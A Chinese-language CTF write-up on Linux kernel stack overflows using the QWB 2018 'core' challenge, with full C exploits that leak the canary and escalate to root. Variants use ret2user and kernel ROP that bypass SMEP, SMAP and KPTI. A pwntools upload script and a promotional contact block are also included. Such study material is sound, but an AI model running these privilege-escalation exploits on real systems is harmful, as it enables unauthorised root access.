Kernel Stack栈溢出攻击及保护绕过
前言
本文介绍Linux内核的栈溢出攻击,和内核一些保护的绕过手法,通过一道内核题及其变体从浅入深一步步走进kernel世界。
QWB_2018_core
题目分析
start.sh
qemu-system-x86_64 \-m 128M \-kernel ./bzImage \-initrd ./core.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \-s \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic \
开启了kaslr
保护。
如果自己编译的 qemu 可能会报错
network backend ‘user‘ is not compiled into this binary
,解决方法就是sudo apt-get install libslirp-dev
,然后重新编译./configure --enable-slirp
。
init
解压 core.cpio
(最简单的方式就是在ubuntu里,右击提取到此处),分析 init
文件:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko # 加载内核模块core.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
-
第 9 行中把
kallsyms
的内容保存到了/tmp/kallsyms
中,那么我们就能从/tmp/kallsyms
中读取commit_creds
,prepare_kernel_cred
的函数的地址了。 -
第 10 行把
kptr_restrict
设为 1,这样就不能通过/proc/kallsyms
查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了。 -
第 11 行把
dmesg_restrict
设为 1,这样就不能通过dmesg
查看 kernel 的信息了。 -
第 18 行设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包。
里面还有一个 gen_cpio.sh 脚本,用于快速打包。
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
KASLR
:
Kernel Address Space Layout Randomization
(内核地址空间布局随机化),开启后,允许kernel image
加载到VMALLOC
区域的任何位置。在未开启KASLR保护机制时,内核代码段的基址为0xffffffff81000000
,direct mapping area
的基址为0xffff888000000000
。
FG-KASLR
:
Function Granular Kernel Address Space Layout Randomization
细粒度的kaslr
,函数级别上的KASLR
优化。该保护只是在代码段打乱顺序,在数据段偏移不变,例如commit_creds
函数的偏移改变但是init_cred
的偏移不变。
Dmesg Restrictions
:通过设置
/proc/sys/kernel/dmesg_restrict
为1, 可以将dmesg
输出的信息视为敏感信息(默认为0)
Kernel Address Display Restriction
:内核提供控制变量
/proc/sys/kernel/kptr_restrict
用于控制内核的一些输出打印。
kptr_restrict == 2
:内核将符号地址打印为全 0 , root 和普通用户都没有权限.
kptr_restrict == 1
: root 用户有权限读取,普通用户没有权限.
kptr_restrict == 0
: root 和普通用户都可以读取.
core.ko
检查一下保护。
❯ checksec core/core.ko
[*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'Arch: amd64-64-littleRELRO: No RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x0)
使用 IDA 继续分析.ko文件。
init_module()
注册了 /proc/core
,core_fops
时其注册的file_operations
结构体实例,会面会做介绍。
__int64 init_module()
{core_proc = proc_create("core", 438LL, 0LL, &core_fops);printk(&unk_2DE);return 0LL;
}
exit_core()
删除 /proc/core
。
__int64 exit_core()
{__int64 result; // rax
if ( core_proc )result = remove_proc_entry("core");return result;
}
core_ioctl()
定义了三条命令,分别调用 core_read(), core_copy_func()
和设置全局变量 off
。
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{switch ( a2 ){case 0x6677889B:core_read(a3);break;case 0x6677889C:printk(&unk_2CD);off = a3;break;case 0x6677889A:printk(&unk_2B3);core_copy_func(a3);break;}return 0LL;
}
core_read()
从 v4[off]
拷贝 64 个字节到用户空间,但要注意的是全局变量 off
是我们能够控制的,因此可以合理的控制 off
来 leak canary
和一些地址 。
void __fastcall core_read(__int64 a1)
{__int64 v1; // rbxchar *v2; // rdisigned __int64 i; // rcxchar v4[64]; // [rsp+0h] [rbp-50h]/** canary保存在rsp+0x40的位置,* 我们通过设置off为0x40,即可将其读取出来。*/unsigned __int64 v5; // [rsp+40h] [rbp-10h]
v1 = a1;v5 = __readgsqword(0x28u);printk("\x016core: called core_read\n");printk("\x016%d %p\n");v2 = v4;for ( i = 16LL; i; --i ){*(_DWORD *)v2 = 0;v2 += 4;}strcpy(v4, "Welcome to the QWB CTF challenge.\n");if ( copy_to_user(v1, &v4[off], 64LL) )__asm { swapgs }
}
core_copy_func()
从全局变量 name
中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy
用的是 unsigned __int16
,但传递的长度是 signed __int64
,因此如果控制传入的长度为 0xffffffffffff0000|(0x100)
等值,就可以栈溢出了。
__int64 __fastcall core_copy_func(__int64 a1)
{__int64 result; // rax_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);printk(&unk_215);// 这里用的jg判断,为有符号判断,0xffffffffffff0000|(0x100) 会判定为负从而绕过。if ( a1 > 63 ){printk(&unk_2A1);return 0xFFFFFFFFLL;}else{result = 0LL;// 栈溢出。qmemcpy(v2, &name, (unsigned __int16)a1);}return result;
}
core_write()
向全局变量 name
上写,这样通过 core_write()
和 core_copy_func()
就可以控制 ropchain
了 。
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{unsigned __int64 v3; // rbx
v3 = a3;printk("\x016core: called core_writen");if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )return (unsigned int)v3;printk("\x016core: error copying data from userspacen");return 0xFFFFFFF2LL;
}
字符驱动设备
内核注册字符设备驱动设备时会用到
file_operations
结构体,file_operations
结构体中的成员函数是字符设备驱动程序设计的主体内容,结构体中的一些指针比如open()
、write()
、read()
、close()
等系统调用时最终会被内核调用,我们可以通过指定指针指向的内容修改其默认值为我们自定义的函数,这样我们在类似read(dev_fd, buf, 0x100)
时就会调用我们自定义的my_read
函数。它还有一个指针为
unlocked_ioctl
,我们在用户态时可以使用系统调用ioctl
去访问控制内核注册的设备(ioctl
系统调用号为0x10
,由rax
保存,需要注意的时,系统调用和用户传参的rdi,rsi,rdx,rcx,r8,r9
不同,系统调用第四个传参寄存器为r10,即rdi,rsi,rdx,r10,r8,r9
)。
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
动态调试
为了动态调试的方便一些,我们需要做以下工作:
(1)通过qemu append
参数关闭 kaslr
,qemu
提供了-s
参数用于调试,默认端口为1234
。
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
(2)修改init
脚本将权限调到 root
。
...
setsid /bin/cttyhack setuidgid 0 /bin/sh
...
(3)启动qemu
,查看模块基地址。
/ # lsmod
core 16384 0 - Live 0xffffffffc0000000 (O)
(4)通过 add-symbol-file core.ko textaddr
把 core.ko
符号加载进去。
#!/bin/sh
gdb -q \-ex "file ./core/vmlinux" \-ex "file ./core/core.ko" \-ex "add-symbol-file ./core/core.ko 0xffffffffc0000000" \-ex "target remote localhost:1234"
ret2user
顾名思义,即返回到用户空间的提权代码上进行提权,之后返回用户态即为 root 权限。
提权方式
这里只简单介绍两种朴素的方法,第一种是通过
commit_creds(prepare_kernel_cred(0))
去提权,不过这种方式已经过时了,不过这道题的内核版本支持这种方法提权,prepare_kernel_cred()会将拷贝一个新的cred凭证,参数为零默认拷贝init_cred,其具有root权限。commit_cred()负责应用到进程。第二种是 commit_cred(&init_cred),原因是init_cred是静态定义的,我们只要找到
init_cred
地址便可借助commit_cred
完成提权。我们通过vmlinux-to-elf bzImage vmlinux
解压并恢复内核部分符号,通过逆向 prepare_kernel_cred() 函数便可轻松定位其地址。_DWORD *__fastcall prepare_kernel_cred(__int64 a1) { _DWORD *v1; // rbx int *task_cred; // rbp v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL); if ( !v1 )return 0LL; if ( a1 ) {task_cred = (int *)get_task_cred(a1); } else {_InterlockedIncrement(dword_FFFFFFFF8223D1A0);task_cred = dword_FFFFFFFF8223D1A0; // init_cred } [......] }
状态保存
通常情况下,我们的 exploit
需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个 root
权限的 shell,因此在我们的 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作保存各寄存器的值到内核栈上,以便于后续着陆回用户态。通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链:
gcc 编译时需要指定参数:
-masm=intel
。
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
返回用户态
由内核态返回用户态只需要:
-
swapgs
指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序,其也用于恢复用户态 GS 寄存器。 -
sysretq
或者iretq
恢复到用户空间
那么我们只需要在内核中找到相应的 gadget
并执行swapgs;iretq
就可以成功着陆回用户态。
执行 iretq
时的栈布局。
|----------------------|
| RIP |<== low mem
|----------------------|
| CS |
|----------------------|
| EFLAGS |
|----------------------|
| RSP |
|----------------------|
| SS |<== high mem
|----------------------|
所以我们应当构造如下 rop 链以返回用户态并获得一个 shell:
↓ swapgsiretquser_shell_addruser_csuser_eflags //64bit user_rflagsuser_spuser_ss
利用思路
在未开启 SMAP/SMEP
保护(后面会讲解)的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问 / 执行用户空间的数据,所以可以使用ret2user
。题目给的vmlinux
用于提取gadget
可以,但使用IDA分析时太慢,可以用vmlinux-to-elf
解压bzImage
进行分析。
-
从
/tmp/kallsyms
读取符号地址,确认与nokaslr
偏移,从vmlinux
寻找gadget
。 -
保存用户状态。
-
通过设置 off 读取
canary
。 -
于内核态访问用户空间的
commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);
提权。 -
通过
swapgs; mov trap_frame, rsp; iretq
返回用户空间,并执行system("/bin/sh");
。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
/* /tmp/kallsyms 保存的符号地址,这里保存的是未开启kaslr的地址 */
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
void get_shell()
{ system("/bin/sh");
}
void get_root() {commit_creds(init_cred);// commit_creds(prepare_kernel_cred(0));asm("swapgs;""mov rsp, tf_addr;""iretq;");
}
struct trap_frame {size_t user_rip;size_t user_cs;size_t user_rflags;size_t user_sp;size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;
void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");tf.user_rip = (size_t) get_shell;tf.user_cs = user_cs;tf.user_rflags = user_rflags;tf.user_sp = user_sp - 0x1000;tf.user_ss = user_ss;puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}
/* 计算开启kaslr后的偏移,重定位相关函数和结构体的地址 */
void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds = (void *) ((size_t) commit_creds + offset);prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);init_cred = (void *) ((size_t) init_cred + offset);break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {set_off(0x40);char buf[0x40];core_read(buf);return *(size_t *) buf;
}
int main() {rebase();save_status();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, '\x00', sizeof(buf));*(size_t *) &buf[0x40] = canary;*(void **) &buf[0x50] = get_root; // 覆盖返回地址core_write(buf, sizeof(buf));// jg 有符号判断,判其为负数,qmemcpy() 第三个参数取其后16位,导致溢出。core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}
编译exp时需要注意,本机环境编译的exp可能无法与题目环境交互,需要使用musl-gcc或者相应版本的docker进行编译,musl-gcc有一些库不支持,但大部分情况下都是可以的。
打包脚本
本题提供了打包脚本,可以直接./gen_cpio.sh ../core_new.cpio
打包即可。如果没提供可以使用以下命令打包。
find . | cpio -o -H newc > ../rootfs.imgs
打包完成后,改回题目环境,运行脚本测试即可。发送至远程可以使用以下脚本:
from pwn import *
import base64
#context.log_level = "debug"
with open("./exp", "rb") as f:exp = base64.b64encode(f.read())
p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:p.sendline()p.recvuntil("/ $")
count = 0for i in range(0, len(exp), 0x200):p.sendline("echo -n \"" + exp[i:i + 0x200] + "\" >> /tmp/b64_exp")count += 1log.info("count: " + str(count))
for i in range(count):p.recvuntil("/ $")p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")p.sendline("chmod +x /tmp/exploit")p.sendline("/tmp/exploit ")break
p.interactive()
调试
可以看到add rsp, 0x48;pop rbx
后,ret
指令正好执行我们用户空间的提权代码。
kernel rop without KPIT
开启 smep
和 smap
保护后,内核空间无法执行用户空间的代码,并且无法访问用户空间的数据。因此不能直接 ret2user
。利用 ROP
执行 commit_creds(prepare_kernel_cred(0))/commit_creds(init_cred)
, 然后 iret
返回用户空间可以绕过上述保护。
添加 smep
和 smap
保护。
qemu-system-x86_64 \-m 128M \-kernel ./bzImage \-initrd ./core.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \-s \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic \-cpu qemu64,+smep,+smap
smep
:
Supervisor Mode Execution Protection
(管理模式执行保护),当处理器处于ring 0
模式,执行用户空间的代码会触发页错误。(在arm
中该保护称为PXN
)
smap
:
Superivisor Mode Access Protection
(管理模式访问保护),类似于smep
,当处理器处于ring 0
模式,访问用户空间的数据会触发页错误。
利用思路
-
从
/tmp/kallsyms
读取符号地址,确认与nokaslr
偏移,从vmlinux寻找gadget
。 -
保存用户状态。
-
通过设置
off
读取canary
。 -
于内核空间
rop
调用commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);
提权。 -
通过
swapgs; popfq; ret;
,iretq
返回用户空间,并执行system("/bin/sh");
。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
// from vmlinux
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
/*
* (1)如果使用 commit_creds(prepare_kernel_cred(NULL));
* 由于找不到 mov rdi, rax; ret; 这条 gadget ,
* 因此需要用 mov rdi, rax; call rdx; 代替,其中 rdx 指向 pop rcx; ret;
* 可以清除 call 指令压入栈中的 rip ,因此相当于 ret 。
* (2)如果使用 commit_creds(init_cred);
* 则只需要 pop rdi; ret 即可。
*/
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell() {system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}
void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_popfq_ret += offset;iretq += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {set_off(64);char buf[64];core_read(buf);return *(size_t *) buf;
}
int main() {save_status();rebase();
core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}
size_t canary = get_canary();printf("[*] canary: %p\n", canary);
char buf[0x100];memset(buf, '\x00', sizeof(buf));*(size_t *) &buf[0x40] = canary;
size_t *rop = (size_t *) &buf[0x50], it = 0;rop[it++] = pop_rdi_ret;rop[it++] = 0;rop[it++] = prepare_kernel_cred;rop[it++] = pop_rdx_ret; // rdx ==> pop_rcx_ret_addrrop[it++] = pop_rcx_ret;// rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, then pop_rcx_retrop[it++] = mov_rdi_rax_call_rdx;rop[it++] = commit_creds;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
kernel rop with KPIT
将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。
#!/bin/sh
qemu-system-x86_64 \-m 256M \-kernel ./bzImage \-initrd ./core.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \-s \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic \-cpu kvm64,+smep,+smap
KPTI
:
kernel page-table isolation
,内核页表隔离,进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI
通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了KPTI
,由于内核态和用户态的页表不同,所以如果使用ret2user
或内核执行ROP
返回用户态时,由于内核态无法确定用户态的页表,就会报出一个段错误。可以利用内核现有的gadget将cr3
与0x1000
异或(第13位置0)来完成从用户态PGD转换成内核态PGD。
利用思路
比较简单的方法是借助 swapgs_restore_regs_and_return_to_usermode
返回用户态。该函数是内核在 arch/x86/entry/entry_64.S
中提供的一个用于完成内核态到用户态切换的函数。当然我们也可以利用内核的gadget
将cr3
的第13位置0(与0x1000异或)来完成从用户态PGD转换成内核态PGD。
.text:FFFFFFFF81A008DA ; __int64 swapgs_restore_regs_and_return_to_usermode(void)
.text:FFFFFFFF81A008DA public swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81A008DA swapgs_restore_regs_and_return_to_usermode proc near
.text:FFFFFFFF81A008DA ; CODE XREF: ;entry_SYSCALL_64_after_hwframe+4D↑j
.text:FFFFFFFF81A008DA ; entry_SYSCALL_64_after_hwframe+5E↑j ...
.text:FFFFFFFF81A008DA pop r15
.text:FFFFFFFF81A008DC pop r14
.text:FFFFFFFF81A008DE pop r13
.text:FFFFFFFF81A008E0 pop r12
.text:FFFFFFFF81A008E2 pop rbp
.text:FFFFFFFF81A008E3 pop rbx
.text:FFFFFFFF81A008E4 pop r11
.text:FFFFFFFF81A008E6 pop r10
.text:FFFFFFFF81A008E8 pop r9
.text:FFFFFFFF81A008EA pop r8
.text:FFFFFFFF81A008EC pop rax
.text:FFFFFFFF81A008ED pop rcx
.text:FFFFFFFF81A008EE pop rdx
.text:FFFFFFFF81A008EF pop rsi
/*
* 我们再利用时直接跳到这里即可,不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
*/
.text:FFFFFFFF81A008F0 mov rdi, rsp ; jump this
.text:FFFFFFFF81A008F3 mov rsp, gs:qword_5004
.text:FFFFFFFF81A008FC push qword ptr [rdi+30h]
.text:FFFFFFFF81A008FF push qword ptr [rdi+28h]
.text:FFFFFFFF81A00902 push qword ptr [rdi+20h]
.text:FFFFFFFF81A00905 push qword ptr [rdi+18h]
.text:FFFFFFFF81A00908 push qword ptr [rdi+10h]
.text:FFFFFFFF81A0090B push qword ptr [rdi]
.text:FFFFFFFF81A0090D push rax
.text:FFFFFFFF81A0090E jmp short loc_FFFFFFFF81A00953
[......]
;loc_FFFFFFFF81A00953
.text:FFFFFFFF81A00953 loc_FFFFFFFF81A00953: ; CODE XREF: ;swapgs_restore_regs_and_return_to_usermode+34↑j
.text:FFFFFFFF81A00953 pop rax
.text:FFFFFFFF81A00954 pop rdi
.text:FFFFFFFF81A00955 swapgs
.text:FFFFFFFF81A00958 jmp native_iret
.text:FFFFFFFF81A00958 swapgs_restore_regs_and_return_to_usermode endp
[......]
;native_iret
.text:FFFFFFFF81A00980 test [rsp+arg_18], 4
.text:FFFFFFFF81A00985 jnz short native_irq_return_ldt
.text:FFFFFFFF81A00985 native_iret endp
[......]
;native_irq_return_ldt
.text:FFFFFFFF81A00989 push rdi
.text:FFFFFFFF81A0098A swapgs
.text:FFFFFFFF81A0098D jmp short loc_FFFFFFFF81A009A1
[......]
;loc_FFFFFFFF81A009A1
.text:FFFFFFFF81A009A1 mov rdi, gs:qword_F000
.text:FFFFFFFF81A009AA mov [rdi], rax
.text:FFFFFFFF81A009AD mov rax, [rsp+8]
.text:FFFFFFFF81A009B2 mov [rdi+8], rax
.text:FFFFFFFF81A009B6 mov rax, [rsp+8+arg_0]
.text:FFFFFFFF81A009BB mov [rdi+10h], rax
.text:FFFFFFFF81A009BF mov rax, [rsp+8+arg_8]
.text:FFFFFFFF81A009C4 mov [rdi+18h], rax
.text:FFFFFFFF81A009C8 mov rax, [rsp+8+arg_18]
.text:FFFFFFFF81A009CD mov [rdi+28h], rax
.text:FFFFFFFF81A009D1 mov rax, [rsp+8+arg_10]
.text:FFFFFFFF81A009D6 mov [rdi+20h], rax
.text:FFFFFFFF81A009DA and eax, 0FFFF0000h
.text:FFFFFFFF81A009DF or rax, gs:qword_F008
.text:FFFFFFFF81A009E8 push rax
.text:FFFFFFFF81A009E9 jmp short loc_FFFFFFFF81A00A2E
[......]
;loc_FFFFFFFF81A00A2E
.text:FFFFFFFF81A00A2E pop rax
.text:FFFFFFFF81A00A2F swapgs
.text:FFFFFFFF81A00A32 pop rdi
.text:FFFFFFFF81A00A33 mov rsp, rax
.text:FFFFFFFF81A00A36 pop rax
.text:FFFFFFFF81A00A37 jmp native_irq_return_iret
[......]
;native_irq_return_iret
.text:FFFFFFFF81A00987 iretq
.text:FFFFFFFF81A00987 native_irq_return_iret endp
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
void get_shell() {system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}
void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_popfq_ret += offset;iretq += offset;swapgs_restore_regs_and_return_to_usermode += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {set_off(64);char buf[64];core_read(buf);return *(size_t *) buf;
}
int main() {save_status();rebase();
core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}
size_t canary = get_canary();printf("[*] canary: %p\n", canary);
char buf[0x100];memset(buf, '\x00', sizeof(buf));// 0x40~0x48->canary; 0x48~0x50->rbp; 0x50~0x58->fake_retaddr*(size_t *) &buf[0x40] = canary;size_t *rop = (size_t *) &buf[0x50], it = 0;
rop[it++] = pop_rdi_ret;rop[it++] = 0;rop[it++] = prepare_kernel_cred;rop[it++] = pop_rdx_ret;rop[it++] = pop_rcx_ret;rop[it++] = mov_rdi_rax_call_rdx;rop[it++] = commit_creds;
rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;rop[it++] = 0;rop[it++] = 0;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
利用 pt_regs 构造 rop
qemu启动脚本
#!/bin/sh
qemu-system-x86_64 \-m 256M \-kernel ./bzImage \-initrd ./core.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \-s \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic \-cpu kvm64,+smep,+smap
查看entry_SYSCALL_64
这一用汇编写的函数内部,注意到当程序进入到内核态时,该函数会将所有的寄存器压入内核栈上,形成一个 pt_regs
结构体,该结构体实质上位于内核栈底,定义如下:
struct pt_regs {
/** C ABI says these regs are callee-preserved. They aren't saved on kernel entry* unless syscall needs a complete, fully filled "struct pt_regs".*/unsigned long r15;unsigned long r14;unsigned long r13;unsigned long r12;unsigned long rbp;unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */unsigned long r11;unsigned long r10;unsigned long r9;unsigned long r8;unsigned long rax;unsigned long rcx;unsigned long rdx;unsigned long rsi;unsigned long rdi;
/** On syscall entry, this is syscall#. On CPU exception, this is error code.* On hw interrupt, it's IRQ number:*/unsigned long orig_rax;
/* Return frame for iretq */unsigned long rip;unsigned long cs;unsigned long eflags;unsigned long rsp;unsigned long ss;
/* top of stack page */
};
内核栈只有一个页面的大小,而 pt_regs
结构体则固定位于内核栈栈底,当我们劫持内核结构体中的某个函数指针时(例如 seq_operations->start
),在我们通过该函数指针劫持内核执行流时 rsp
与 栈底的相对偏移通常是不变的。
而在系统调用当中过程有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15
,这些寄存器为我们布置 ROP 链提供了可能,我们不难想到:只需要寻找到一条形如 "add rsp, val ; ret"
的gadget
便能够完成ROP
,在进入内核态前像寄存器写入一些值,看那些寄存器可以被保留,以便后续写入gadget
。
KPTI pass:使用
seq_operations + pt_regs
结构体
seq_operations
